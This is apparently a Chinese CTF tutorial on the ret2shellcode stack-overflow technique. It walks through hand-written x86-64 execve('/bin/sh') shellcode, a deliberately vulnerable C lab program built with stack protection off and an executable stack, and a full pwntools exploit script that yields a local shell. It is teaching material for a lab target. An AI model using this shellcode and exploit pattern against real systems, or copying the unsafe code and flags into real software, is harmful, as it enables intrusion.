%%本节前置:Stack -1,Stack-2-1%%
本节正式介绍ret2shellcode
相关内容。在正式学习之前,你也许已经了解并熟练了ret2text
的相关内容。当然,不了解也没关系,你只需要知道前置所需知识就可以。我们本节要介绍的攻击手法实际上比ROP更早,是传统的栈溢出攻击手法。当然,ret2shellcode
的思想同样是我们前面介绍过的覆写+劫持。所以我们仍然将ret2shellcode
攻击视为基础ROP之一,并深入理解其相关内容。
技术梗概
ret2shellcode
,return to shellcode,返回到恶意代码,即控制程序执行流到shellcode。
什么是shellcode? shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。通常情况下,shellcode 需要我们自行编写,即此时我们需要自行向内存中填充一些可执行的代码
1996 年,Aleph One 在 Underground 发表了著名论文 Smashing the Stack for Fun and Profit,其中详细描述了 Linux 系统中栈的结构和如何利用基于栈的缓冲区溢出。在这篇具有划时代意义的论文中,Aleph One 演示了如何向进程中植入一段用于获得 shell 的代码,并在论文中称这段被植入进程的代码为“shellcode”。 后来人们干脆统一用 shellcode 这个专用术语来通称缓冲区溢出攻击中植入进程的代码。这段代码可以是出于恶作剧目的的弹出一个消息框,也可以是出于攻击目的的删改重要文件、窃取数据、上传木马病毒并运行,甚至是出于破坏目的的格式化硬盘等。
在我们介绍的栈溢出漏洞的基础上,要想执行shellcode,就需要我们程序运行时,写入shellcode的地区具有可执行权限。这就使得传统的栈溢出利用不能执行,因为NX
保护(栈不可执行)的出现,以及新版内核当中较为激进的保护策略。都使得传统的ret2shellcode
手法不再能直接完成利用。但是ret2shellcode
却是一种最直接的,最主动的栈溢出攻击手法。CTF中通常对ret2shellcode
的利用都在不能直接getshell的情况下进行,即开启了沙箱保护。
技术详解
code2Shell-编码技术
要学习ret2shellcode
,自然得先从shellcode开始学习。在学习shellcode之前,我们需要先了解一个十分重要的概念,Linux中的系统调用。
系统调用
计算机系统的各种硬件资源是有限的,在现代多任务操作系统上同时运行的多个进程都需要访问这些资源,为了更好的管理这些资源进程是不允许直接操作的,所有对这些资源的访问都必须有操作系统控制。也就是说操作系统是使用这些资源的唯一入口,而这个入口就是操作系统提供的系统调用(System Call)。在linux中系统调用是用户空间访问内核的唯一手段,除异常和陷入外,他们是内核唯一的合法入口。
简而言之,系统调用是各种函数,如system
;exec
;read
;write
等的核心实现。
在日常使用中,我们是不能直接控制计算机内核来执行我们想要的指令的。计算机通过区分用户态和内核态(你可以理解为User和Root的区别)来合理分配计算机资源。通过系统调用,以特定寄存器中的值作为参数,去执行相应的系统调用。
譬如,在执行syscall
指令前,我们的rax
的值为0x3b
,那么就会执行exec
函数的系统调用。我们进而再控制rdi
,rsi
,rdx
的值,使系统调用exec("/bin/sh\x00", NULL, NULL)
,自然就Getshell了。
编写shellcode
shellcode 在32位和64位中略有不同,本文主要讲解在64位下的shellcode编写。
刚刚讲到,shellcode的关键是用汇编指令控制寄存器的值,然后去触发系统调用。那么我们想要Getshell,也就是去执行/bin/sh\x00
,就需要执行exec("/bin/sh\x00", NULL, NULL)
system(“/bin/sh\x00”)也是用exec函数实现的。
那么我们需要控制这些寄存器
rax = 0x3b
rdi = "/bin/sh\x00"
rsi = 0
rdx = 0
rax
为系统调用号,syscall
根据rax
来确定系统调用rdi
,第一个参数rsi
,第二个参数rdx
,第三个参数 Linux系统调用号速查
⚠️我们的参数
/bin/sh\x00
必须作为指针的引用传入,不能直接传入硬编码哦。
一段简单的shellcode实现如下
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
push 0x3b
pop rax
syscall
⚠️A xor A = 0
mov rax, 0x68732f6e69622f
,将/bin/sh\x00
放入rax
中push rax
将rax
的值压入栈中保存mov rdi, rsp
将rsp
中的值放入rdi
中作为第一个参数。
⚠️rsp是指针寄存器,存放刚刚压入栈中的栈顶的
/bin/sh\x00
的栈地址的指针。
xor rsi, rsi
清空rsi
,这是第二个参数xor rdx, rdx
清空rdx
,这是第三个参数push 0x3b
,将0x3b
压入栈中pop rax
,将0x3b
弹入rax
中syscall
执行系统调用
🎉一个简单的shellcode就编写好了!🎉
实验详解
由此,我们以一个实验来理解ret2shellcode
的攻击手法。
Source
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
char buffer[0x20];
printf("%p\n", &buffer);
read(0, buffer, 0x1000);
return 0;
}
用以下命令编译
gcc -fno-stack-protector -no-pie -z execstack -O0 Lab-s-2-1-2.c -o Lab-s-2-1-2
-z execstack
,开启栈可执行。
程序流程很简单,漏洞依然是我们经典的栈溢出,不过此题没有后门,怎么办呢?ret2shellcode
,自己动手,丰衣足食。
首先我们关注到有一个特别的函数printf("%p\n", &buffer);
,这个函数将buffer的地址打印了出来,相当于方便我们去寻址。因为在实际利用的过程中,我们是要要求知道shellcode写入的位置的,这样我们才能覆盖返回地址到shellcode的位置来劫持程序执行流。
利用的思路就很简单了,先接收泄露出来的buffer
地址,由于我们的shellcode就是向buffer
上面写的,现在还不清楚我们的shellcode到底是在哪个位置,我们先看看要利用的shellcode编码出来的长度。
我们可以用pwntools
提供的shellcraft
函数来便利地生成shellcode。此时建议显式地指定一下环境变量
context(os='linux', arch='amd64')
直接生成即可
shellcode = shellcraft.sh()
随后是关于shellcode的寻址问题。我们现在已知从起始覆盖到返回地址的长度为0x20 + 0x8
,也就是说,下一个0x8
就要填入返回地址,那么实际上,我们控制返回地址一共需要0x30
的长度,后面的部分就是shellcode
,我们只需要跳转到buffer+0x30
的位置就可以了!
⚠️泄露的buffer地址就是读入数据的起始位置
实际上,我们有两种关于已知buf
起始位置的寻址方式
- 当
shellcode
能够放入buf
中时,我们将shellcode
前置到返回地址之前,那么返回地址就只需要填入buf
的地址即可 - 当
shellcode
不能放入buf
中时,我们将shellcode
后置到返回地址之后,那么返回地址就要填入buf
加上实控至返回地址的长度
比如刚刚的情况,如果我们有一个长度小于0x20
的shellcode,那么我们的payload就构建如下:
offset = buf + 0x8
payload = shellcode + cyclic(offset - len(shellcode)) + p64(buf_addr)
栈结构图如下
后置的情况
payload = cyclic(offset) + p64(buf + offset + 0x8) + shellcode
栈结构示意
那么完整的EXP如下
from pwn import *
io = process("./Lab-s-2-1-2")
context(arch='amd64',os='linux')
leakstack = io.recvuntil(b'\n', drop=True)
log.success('recvsuccess ==>'+ leakstack.decode())
stack=eval(leakstack.decode())
shellcode = asm(shellcraft.sh())
offset = 0x20 + 0x8
payload = cyclic(offset) + p64(stack+0x30) + shellcode
io.send(payload)
io.interactive()
⚠️此处就是后置的情况
RESULT
[+] Starting local process './Lab-s-2-1-2': pid 178590
[+] recvsuccess ==>0x7ffdb4f57db0
[*] Switching to interactive mode
$ whoami
K4per
总结
本节我们学习了ret2shellcode
这一经典的栈溢出利用。实际上,我们本节所讲的内容还较为浅显。更深入的知识将放到Defense-Sandbox
中,讲解另一种orwshellcode&ret2orw
的利用。
那么留下一道题作为本节完成的作业。
CTFPLUS 来自Geek Challenge 2024的ez_shellcode